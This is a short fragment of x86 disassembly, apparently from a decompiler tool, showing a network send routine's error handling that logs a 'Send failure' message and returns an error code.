mov esi, eax
cmp esi, 0x2733
jne 0x100b5868
mov dword [ebp], 0
lea eax, [edi + 0x52]
jmp 0x100b589c
push 0x80
lea eax, [esp + 0x1c]
push eax
push esi
call fcn.100a32d0
push eax
push str.Send_failure:__s
push dword [ebx]
call fcn.100b5140
mov eax, dword [ebx]
add esp, 0x18
mov dword [eax + 0xcec], esi
mov eax, 0x37
jmp 0x100b5899
xor eax, eax
mov dword [ebp], edi
mov ecx, dword [esp + 0x98]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.101d6fbe
add esp, 0x8c
ret